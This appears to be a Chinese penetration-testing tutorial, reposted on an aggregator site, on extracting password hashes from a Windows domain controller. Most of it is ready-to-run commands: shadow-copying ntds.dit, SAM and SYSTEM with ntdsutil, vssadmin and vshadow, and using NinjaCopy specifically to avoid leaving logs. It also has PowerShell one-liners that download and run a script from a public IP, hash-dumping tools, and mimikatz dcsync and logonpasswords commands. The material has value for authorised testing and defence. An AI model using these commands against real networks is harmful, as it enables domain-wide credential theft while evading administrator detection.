Windows域内密码凭证获取 (゚益゚メ) 渗透测试

2023-11-01

文章目录

域凭证介绍

和我们常规Windows电脑不同的是,域中的账户密码采用的是集中管理而非本地模式,所以一旦我们拿到了域控(DC),就可以拿到域中所有用户的口令。注:下方所有演示的目标机是在一台域控中进行的,我们常规电脑和域中非域控电脑都无法进行下列操作!

获取域内专属凭证(ntds.dit)

C:\Windows\NTDS\ntds.dit或%SystemRoot%\NTDS是域控中一个专属的活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。但由于系统高级用户的占用,这种重要文件用户正常情况下是无法对其进行任何操作的。想要获得域内凭证首先就是需要通过各种手段来获取此文件

卷影复制服务(Volume Shadow Copy Service (VSS))

卷影复制服务是Windows2003(Windows XP时代)之后系统自带的功能,官方解释:提供的用于创建一致性的时间点副本(也就是快照)的服务框架。我们简单理解一下就是一个可以在系统运行时还能进行备份(快照)操作的应用。优点: 系统自带服务,不会被杀毒软件拦截,大多数情况下都是开启的,关闭会影响部分系统正常功能。缺点: 使用时候会留下日志信息,目标管理员可以借此来收集攻击证据。

使用ntdsutil

ntdsutil是系统自动的一个域管理工具,我们可以利用其携带的几种方法来获取我们需要的文件!

1.交互快照模式# 这是一个域管理工具ntdsutil# 启动快照模块snapshot# 设置活动实例,可以理解为设置需要快照的目标,默认有个ntds,可以备份全部C盘activate instance ntds# 启动快照,成功后会返回一串数值,这串数值是GUID,下方会用到create# 装载快照(可以使用`list all`查看当前所有的快照)mount 上述返回的GUID# 这一步执行完成后,我们的快照会被装载到c盘,可以使用copy方法将其复制出来,如我下方copy '挂载文件夹\Windows\NTDS\ntds.dit' C:\备份ntds.dit# 如copy 'C:\$SNAP_202103102049_VOLUMEC$\Windows\NTDS\ntds.dit' C:\备份ntds.dit# 卸载快照unmount 快照ID(GUID)# 删除快照delete 快照ID(GUID)# 退出快照quit#退出卷影控制器quit

# 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
# 挂载快照
ntdsutil snapshot “mount 快照ID(GUID)”quit quit
# 复制挂载的文件 &SNAP_202103102049_VOLUMEC& 是你挂载的文件夹
copy 'C:\$SNAP_202103102333_VOLUMEC$\Windows\NTDS\ntds.dit' c:\备份ntds2.dit
# 卸载删除快照
ntdsutil snapshot "unmount 快照ID(GUID)" "delete 快照ID(GUID)" quit quit 

ntdsutil "activate instance ntds" ifm “create full C:\凭证信息” quit quit 

使用vssadmin

vssadmin是一个专门用来管理卷影服务的工具,同样也是系统默认会携带的工具。

# 查看当前系统中有哪些快照(可以不执行此步骤)
vssadmin list shadows
# 创建整个C盘的快照,创建好后我们会获得一个快照地址,
# 比如: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
# 一般只有最后的数字会变,这个地址在cmd中我们可以直接当做C:\来使用!必须是cmd中!不能是powershell
vssadmin create shadow /for=c:
# 复制文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\备份ntds3.dit
# 删除快照
vssadmin delete shadows /for=c: /quiet 

使用vshadow

vshadow下载地址: download.csdn.net/download/qq…上述两个工具虽然微软会默认开启,但有经验的老师傅们肯定一般都会对上述两个工具做出一定限制甚至直接关闭,这时候我们就可以用vshadow这个工具了,这是微软开发工具包中的一个工具,有着微软官方的签名,所以也是不会被杀软给干掉的,不过这个工具系统默认不会携带,需要我们手动上传到电脑中!

# 查看当前已有的镜像
.\vshadow.exe -q
# 对C盘(`C:`)创建一个持久(`-p`重启系统之类的操作不会被删除)不用写入(`-nw`no writers,用来提高创建速度)的镜像
.\vshadow.exe -p -nw C:
# 执行上述命令后,会返回很多字符,其中我们主要用到的是`SnapshotSetID`和`Shadow copy device name`
# 其中`SnapshotSetID`主要是用来删除镜像时候使用的
# 而`Shadow copy device name`则和上述vssadmin中生成的快照地址一样可以直接使用来获取我们需要的文件。如下:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\备份ntds4.dit
# 删除时输入SnapshotSetID即可(记得SnapshotSetID加引号)
.\vshadow.exe -dx='SnapshotSetID' 

快照挂载

上述,我们碰到了类似\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1的地址,都是使用copy方法直接调用,除此之外我们还能使用创建快捷方式的方法mklink来将其链接到一个文件夹上!

# mklink只能在cmd中使用,无法在powershell使用! 
# /d表示为目录链接,因为是目录,所以一定要用\结尾!
mklink /d c:\镜像\ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
# 删除镜像
rd c:\镜像 

NinjaCopy脚本

卷影复制服务因为是一项系统级服务,所以我们在调用时会留下系统日志,如果我们使用NinjaCopy脚本,即可避免一些系统日志的产生,来减少被系统管理员发现的可能性!

1.本地加载脚本: 使用方便,但容易被杀软干掉!

# 在powershell中加载脚本(只能在powershell中运行)
Import-Module .\invoke-NinjaCopy.ps1
# 使用复制模块,目标路径(-Path)下的SAM,复制到指定路径(-LocalDestination )下,这里都推荐使用绝对路径!
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit 

IEX (New-Object Net.WebClient).DownloadString('http://公网IP//Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam1.hive
IEX (New-Object Net.WebClient).DownloadString('http://公网IP//Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system1.hive
IEX (New-Object Net.WebClient).DownloadString('http://公网IP//Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\ntds\ntds.dit -LocalDestination c:\ntds1.dit 

凭证解密

这里解密大多数获取的都是哈希值,很少能直接获取到明文密码,如果想要获取到明文密码大部分情况还是需要我们使用彩虹表这类的手段。

数据库文件修复

因为我们拿到的用户凭证文件ntds.dit在获取的时候文件是被占用状态,所以获取的文件可能会有一些问题,这时候我们就需要先进行一步修复操作。

# esentutl 是一个微软自带的工具,是专门用来对微软系统数据库进行一些常用操作的工具包,其中/p就代表使用修复功能
esentutl /p /o ntds.dit 

QuarkPwDump脚本

quarkspwdump下载地址: github.com/redcanari/q…这是一个用c写的脚本,获取凭证速度非常快!

.\QuarksPwDump.exe --dump-hash-domain --output 凭证存储文件名.txt --ntds-file 目标的ntds数据库
# 如:
.\QuarksPwDump.exe -dhd -o .\QPD凭证信息.txt -nt .\ntds.dit 

secretsdump脚本

这是一个Python写的脚本,相较于上述c脚本,在速度方面的确有些缓慢,不过功能还是十分丰富的,甚至能获取部分明文密码<img src="https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fropnop%2Fimpacket_static_binaries%2Freleases "https://github.com/ropnop/impacket_static_binaries/releases"): [github.com/ropnop/impa…](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fropnop%2Fimpacket_static_binaries%2Freleases "https://github.com/ropnop/impacket_static_binaries/releases"" style="margin: auto" />

# 使用sam文件获取本地凭证信息
.\secretsdump.exe -sam 测试凭证\SAM -security 测试凭证\SECURITY -system 测试凭证\SYSTEM LOCAL
# 使用ntds文件获取域凭证信息
.\secretsdump.exe -system 测试凭证\SYSTEM -ntds 测试凭证\ntds.dit LOCAL 

NtdsAudit脚本

NtdsAudit同样也是一个高效的凭证信息读取工具,不过NtdsAudit不仅仅可以获取用户凭证,还会收集一些十分有用的用户信息!

.\NtdsAudit.exe "测试凭证\ntds.dit" -s "测试凭证\SYSTEM" -p NA密码凭证信息.txt --users-csv 用户信息.csv 

其他

如果在目标域控中我们成功上线了猕猴桃,可以使用如下几个命令

# 此命令可以看到当前客户端所有用户以及域名
sekurlsa::logonpasswords
# 以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
lsadump::dcsync /domain:域名 /all /csv
# 通过dcsync直接获取de1ay域内所有用户哈希
lsadump::dcsync /domain:de1ay.com /all /csv
# 通过dcsync获取de1ay域内某个用户的详细信息
lsadump::dcsync /domain:de1ay.com /user:用户名
# 查看所有用户凭证信息
lsadump::lsa /inject 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Windows域内密码凭证获取 (゚益゚メ) 渗透测试 的相关文章

  • 在脚本中使用未定义常量

    我搜索了该网站并看到了对用户应该在变量周围加上单引号的问题的修复 但我仍然有点困惑 错误 全部参考第28行 注意 使用未定义的常量 log id 假定为 log id 注意 使用未定义的常量 log username 假定为 log use
  • PHP7.1上读取会话数据失败

    分享一个我遇到的问题 现已解决 在我的开发机器上 我使用 PHP 运行 IIS 我升级到 PHP7 突然我的代码不再工作 返回此错误 session start 读取会话数据失败 用户 路径 C WINDOWS temp 看起来像是权限问题
  • IMAP 和 PHP - 从已发送文件夹和收件箱文件夹中获取所有电子邮件

    我正在尝试获取接收和发送的所有电子邮件 并使用 PHP 将其写入 mySQL 数据库 我使用的主机名是 hostname imap gmail com 993 imap ssl INBOX 它仅引用收件箱 并成功抓取收到的电子邮件 为了抓取
  • RuntimeException - 会话存储未根据请求设置 - Laravel Socialite - Facebook

    我在用着Laravel 5 7 and Laravel Socialite 3 1 我想使用登录Facebook我刚刚为此项目配置了应用程序 这些是我为此配置的主要文件 env FACEBOOK CLIENT ID FACEBOOK CLI
  • PHP 可以解压缩使用 .NET GZipStream 类压缩的文件吗?

    我有一个 C 应用程序 它与基于 PHP 的 SOAP Web 服务进行通信以进行更新和许可 我现在正在开发一个反馈系统 供用户通过软件自动提交错误和跟踪日志 根据我之前发布的问题 我认为 Web 服务将是实现此目的的最佳方法 最有可能以最
  • Symfony/Doctrine 重新排列数据库列

    当我使用doctrine schema update命令行生成表时 Doctrine 或Symfony 似乎想要添加一个命令来重新排列我的列 将键放在它出现的前面 我想知道是否 更希望在哪里 我可以禁用环境的这个 功能 所以当我去生成我的表
  • 根据product_id获取magento产品的浏览次数

    我想在 Magento 的类别列表页面上显示查看计数 这些数据看起来过去可以通过 reports product collection 访问 但我找不到正确访问它的方法 我基本上想提供一个产品 ID 并获取返回给我的所述产品的观看次数 您可
  • AJAX 安全问题

    我希望能够解决一些关于 AJAX 安全性的问题 这是我试图理解的一个场景 假设我正在使用 AJAX 向页面请求一些半敏感材料 例如 我将把用户的 ID 传递给一个 php 文件 并返回一些关于他们自己的信息 现在 是什么阻止人们模拟此 Ja
  • 将我的 Laravel 连接到外部数据库

    如何将 Laravel 连接到外部数据库 示例 我的本地计算机上有一个 Laravel 它在 xampp 上运行 我希望它连接到云服务器数据库 打开 env文件并编辑它 只需设置正确的外部数据库凭据 DB CONNECTION mysql
  • Symfony 4 生产模式错误处理页面内存耗尽

    我将我的项目设置为prod模式在 env除了自定义错误页面之外的所有内容似乎都有效 我将此作为我的 404 树枝模板 templates bundles TwigBundle Exception error404 html twig inc
  • 类 Doctrine\Common\Collections\ArrayCollection 不是有效的实体或映射的超类

    我有三个实体 特征值 php
  • 检查用户设备的 GPS 是否开启

    我正在使用 jQuery Mobile 和 PHP 开发一个应用程序 我没有使用 Phonegap 或其他框架 我需要找到用户的geolocation 如果用户设备的 GPS 关闭 那么我无法获取位置 现在我需要查找用户设备的 GPS 是否
  • PHP cURL 看不到 /etc/hosts 文件

    我在让 PHP cURL 库识别我在我的文件中创建的别名时遇到了麻烦 etc hosts file 这就是我的 etc hosts现在归档 192 168 0 20 www example dev 在另一端 192 168 0 20 Apa
  • POSTed 数组保留其值

    今天 我注意到我的一个 WordPress 安装的行为方式非常奇怪 每当我从仪表板更新帖子时 它的一些额外输入都会保留它们已有的值 所有这些都是多维数组 例如 post php post 123 action 编辑
  • 一次用 \r\n & \n & \r 分解字符串? [复制]

    这个问题在这里已经有答案了 我想按行分割字符串 但我希望它基于所有主要使用的换行符 n r n r 并返回一个包含每一行的数组 您可以使用正则表达式和preg split http php net preg split反而 lines pr
  • 检查字符串是否编码为 UTF-8

    function seems utf8 str length strlen str for i 0 i lt length i c ord str i if c lt 0x80 n 0 0bbbbbbb elseif c 0xE0 0xC0
  • Symfony VS CakePHP:哪一个最接近 PHP [关闭]

    Closed 这个问题是基于意见的 help closed questions 目前不接受答案 我主要是一名 Rails 开发人员 但有时 我必须使用 PHP 进行编码 因为 stackoverflow com更喜欢可以回答的问题 我想知道
  • 从 $i 获取值,顺序被打乱

    for i 0 i lt count name i some output ommited td td
  • 通过 IP 地址限制 Laravel 错误日志

    When debug被设定为true在 Laravel 的app config php有什么方法可以限制结果Whoops包含对某些 IP 地址的堆栈跟踪的错误页面 并且不在该列表中的 IP 显示特定视图 Thanks 没有内置 但是你可能可
  • 如何缩短 PHP if 语句?

    我有一个 if 语句 我需要将单个字符串与许多不同的选项进行比较 我在下面发布的代码非常清楚地表明了我的意思 我知道有两种方法可以做到这一点 但另一种甚至更长 那么 是否有任何函数可以以更短的方式实现类似的功能 我的要求可能看起来很愚蠢 但

随机推荐

  • JavaScript基本数据类型简单转换

    JavaScript几个变量类型简单介绍 number型 数字型 string型 字符型 Boolean型 布尔型 true 1 false 0 undefine 未定义类型 null 空值 其它类型本文暂不涉及 注意 1 JavaScri
  • L298N驱动俩路电机按键控制正反转

    一个L298N是带有俩路驱动电路的 就是可以驱动俩个电机同时去转动 在硬件部分因为以前弄小车的时候已经组装好了 一路驱动去控制俩个电机 俩路驱动就是控制四个电机 做的是四轮四驱的小车 嫌麻烦就没有去拆改装了 博主主页里面有介绍过L298N的
  • Jenkins

    参考 Job artifacts GitLab 作业产物 GitLab 说明 晚点补充
  • Java程序设计--Java入门(一)

    Java入门 1 Java概述 1 1 Java语言发展史 1 2 Java语言跨平台原理 1 3 JRE和JDK 1 4 JDK的下载和安装 2 入门程序HelloWorld 2 1 常用DOS命令 2 2 Path环境变量的配置 2 3
  • IDEA 配置 openjdk,jre

    使用 idea 配置 zip 版本的 openjdk 和 jre 我使用的时 redhat 提供的 jdk 和 jre 一 下载 idea jdk 和 jre 红帽openjdk下载地址为 Red Hat build of OpenJDK
  • 零度根轨迹的推导

    根轨迹有很多种 常见有180度根轨迹 0度根轨迹和参数根轨迹 0度和180度是对比记忆的 记住一个另一个也记住了 比较常见的是180度根轨迹 而画根轨迹的目的是通过图像来反应闭环传递函数的一些根的性质从而代表了这个系统的一些性能指标 从根轨
  • JavaWeb_LeadNews_Day11-KafkaStream实现实时计算文章分数

    JavaWeb LeadNews Day11 KafkaStream实现实时计算文章分数 KafkaStream 概述 案例 统计单词个数 SpringBoot集成 实时计算文章分值 来源 Gitee KafkaStream 概述 Kafk
  • 使用URL传递参数

    现在比较流行RESTful风格 而通过URL进行参数的传递这就符合RESTful风格 什么是RESTful风格呢 对应的中文是rest式的 Restful web service是一种常见的rest的应用 是遵守了rest风格的web服务
  • qt定时器的多种使用方式

    qt定时器的多种使用方式 1 基础版实现 2 便捷版实现 基于Lambda函数 3 一次性版实现 4 重写定时器事件版实现 QObject内部定时器 1 基础版实现 1 头文件类中定义Timer mTime 指针变量或直接定义QTimer
  • VMware虚拟机的三种网络连接模式的特点

    在VMware Workstation中创建虚拟机后 配置虚拟机的网络连接有3种模式 分别是 1 桥接模式 VMnet0 2 NAT模式 VMnet8 3 仅主机模式 VMnet1 这三种网络连接模式有什么用途及其区别是什么 以下简单介绍
  • 等保案例 6

    用户简介 江苏省监狱管理局是江苏省司法厅管理下的副厅级部门管理机构 是主管全省监狱工作的机关 随着信息化的发展 江苏省监狱管理局的监狱业务对网络和信息系统的依赖不断增加 网络流转的信息量不断增大 信息化建设的需求也日益凸现 因此江苏省监狱管
  • android audio arch

    android audio arch ALSA System on Chip ASoC ASoC 驱动将一个audio子系统分成四个部分 Machine driver Platform driver CPU driver以及Codec dr
  • 竖式问题

    找出所有形如abc de 三位数乘以两位数 的算式 使得在完整的竖式中 所有数字都属于一个特定的数字集合 输入数字集合 相邻数字之间没有空格 输出所有竖式 每个竖式前应有编号 之后应有一个空行 最后输出解的总数 具体格式见样例输出 为了便于
  • jQuery easyUI的datagrid在翻页之后记录被选中的行

    最近修改一个以前的项目 前端有一个地方是用到 jQuery 的 datagrid 框架 需求是实现 datagrid 在翻页之后记录被选中的行 返回之前的页时选中项还在 所以就记录了一下实现过程 大概思路如下 1 设置 idField pk
  • 如何安装win10和linux双系统。以及引导系统问题。

    1 安装环境介绍 首先 出于本人学习需要 要用到linux系统 但是经常又会用到win10 因此迫切需要双系统的电脑 所在本人就琢磨着怎么在不删除原来win10的情况下可以装一个linux的ubuntu系统 2 常见的安装步骤 2 1首先在
  • MySQL的基本语句(1)—增删改查

    前言 MySQL由于其体积小 速度快 总体拥有成本低 尤其是开放源码这一特点 一般中小型和大型网站的开发都选择 MySQL 作为网站数据库 所以我准备在此处记录一下比较常用的几种语句 每一种语句只介绍一条如何操作 之后我会全面的写一个 建表
  • 杂项系列:代码分析工具Understand中文乱码

    参考 https blog csdn net ll480 article details 89575357 总结 project gt configure project gt file options gt File encode gt
  • QT学习之signals

    QT中增加了signals和slots 即信号与槽 从字面上来看我们也能大概知道这两个概念的意义 信号与槽的作用便是在两者关联后通过发射信号触发槽的反应 可以一个信号对应一个槽 可以一个信号对应多个槽 也可以多个信号对应一个槽 虽然相对来说
  • wait和sleep的区别

    sleep 是线程类 Thread 的静态类方法 导致此线程暂停执行指定时间 给执行机会给其他线程 但是监控状态依然保持 到时后会自动恢复 调用sleep 不会释放对象锁 sleep 谁调用的谁去睡觉 即使在a线程里调用了b的sleep方法
  • Windows域内密码凭证获取 (゚益゚メ) 渗透测试

    文章目录 域凭证介绍 获取域内专属凭证 ntds dit 卷影复制服务 Volume Shadow Copy Service VSS 使用 ntdsutil 使用 vssadmin 使用 vshadow 快照挂载 NinjaCopy脚本 凭